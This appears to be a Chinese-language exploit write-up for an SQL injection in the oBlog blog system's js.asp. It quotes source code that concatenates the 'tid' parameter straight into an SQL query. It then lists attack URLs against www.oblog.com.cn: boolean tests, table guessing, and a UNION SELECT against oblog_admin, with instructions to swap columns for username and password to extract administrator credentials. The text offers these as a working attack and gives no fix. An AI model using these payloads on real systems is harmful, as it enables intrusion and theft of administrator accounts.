Dim oblog
set oblog=new class_sys
oblog.autoupdate=False
oblog.start
dim js_blogurl,n
js_blogurl=Trim(oblog.CacheConfig(3))

****************省略部分代码******************
Sub show_posts()
Dim teamid,postnum,l,u,t
teamid=Request(”tid”)
postnum=n
l=CInt(Request(”l”))
u=CInt(Request(”u”))
t=CInt(Request(”t”))
Dim rs,sql,sRet,sAddon
Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”
If teamid<>“” And teamid<>“0″ Then
teamid=Replace(teamid,”|”,”,”)
Sql=Sql & ” And teamid In (” & teamid & “) ”
End If
Sql=Sql & ” Order by postid Desc”
Set rs=oblog.Execute(Sql)
sRet=”

Do While Not rs.Eof
sAddon=”"
* sRet=sRet & “ ” & oblog.Filt_html(Left(rs(2),l)) & “”
If u=1 Then sAddon=rs(4)
if t=1 Then
If sAddon<>“” Then sAddon=sAddon & “,”
sAddon=sAddon & rs(3)
End If
If sAddon<>“” Then sAddon=”(” & sAddon & “)”
sRet=sRet & sAddon & “

rs.Movenext

Set rs = Nothing

Response.write oblog.htm2js (sRet,True)
End Sub
调用show_posts()过程必须要符合上面的参数n=1,j=13
(” & teamid & “)
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=1 返回正常
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=1 and (1=2 返回异常
猜管理员表名
http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 查询语句 and (1=1

Sql=”select Top ” & postnum & ” teamid,postid,topic,addtime,author,userid From oblog_teampost Where idepth=0 and isdel=0 ”

http://www.oblog.com.cn/js.asp?n=1&j=13&tid=1) and 1=2 union select 1,2,3,4,5,6 from oblog_admin where id=(1

document.write(’

‘);

gid=1跟pid=2里的1,2就是了直接替换里面的1,2为username,password
